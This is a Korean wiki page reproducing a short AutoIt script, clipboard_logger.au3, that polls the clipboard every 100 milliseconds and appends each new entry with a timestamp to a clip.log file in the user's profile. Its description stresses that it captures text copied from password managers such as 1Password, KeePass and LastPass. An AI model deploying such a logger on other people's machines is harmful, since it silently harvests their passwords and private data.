메뉴 여닫기
개인 메뉴 토글
로그인하지 않음
만약 지금 편집한다면 당신의 IP 주소가 공개될 수 있습니다.

Autoit clipboard logger

데브카페
Devcafe (토론 | 기여)님의 2024년 10월 5일 (토) 02:10 판 (새 문서: === clipboard_logger.au3 === <source lang=autoit> ; Script Name : clipboard_logger.au3 ; Author : Craig Richards ; Created : 25th January 2012 ; Last Modified : ; Version : 1.0 ; Modifications : ; Description : Will log all contents added to the clipboard, even if they use 1Passwd, Keypass, Lastpass etc #Include <clipboard.au3> ; Include the Clipboard Header file #Include <File.au3> ; Include the File Header file $oldclip="" ; Set the vari...)
(차이) ← 이전 판 | 최신판 (차이) | 다음 판 → (차이)

clipboard_logger.au3

; Script Name	: clipboard_logger.au3
; Author		: Craig Richards
; Created		: 25th January 2012
; Last Modified	:
; Version		: 1.0

; Modifications	:

; Description	: Will log all contents added to the clipboard, even if they use 1Passwd, Keypass, Lastpass etc

#Include <clipboard.au3>										; Include the Clipboard Header file
#Include <File.au3>												; Include the File Header file

$oldclip="" 													; Set the variable $oldclip to be blank
While 1 														; While True, so continually run
   $clip=_Clipboard_GetData()									; Sets the variable clip, which gets the contents of the clipboard
   If $clip <> "0" Then 										; If clip isn't zero then,
	  If $clip <> $oldclip Then									; Don't log the same clipboard text over and over, if nothing has come in in 100 milliseconds
		 _FileWriteLog(@UserProfileDir & "\clip.log", $clip)	; Write out to the clip.log file, this entry in timestamped.
		 $oldclip = $clip 										; Make oldclip the same as clip for this instance
	  EndIf 													; End the First IF Statement
   EndIf 														; End of the Second IF Statement
   Sleep(100) 													; Sleep for 100 Milliseconds
WEnd 															; End of the while loop

Comments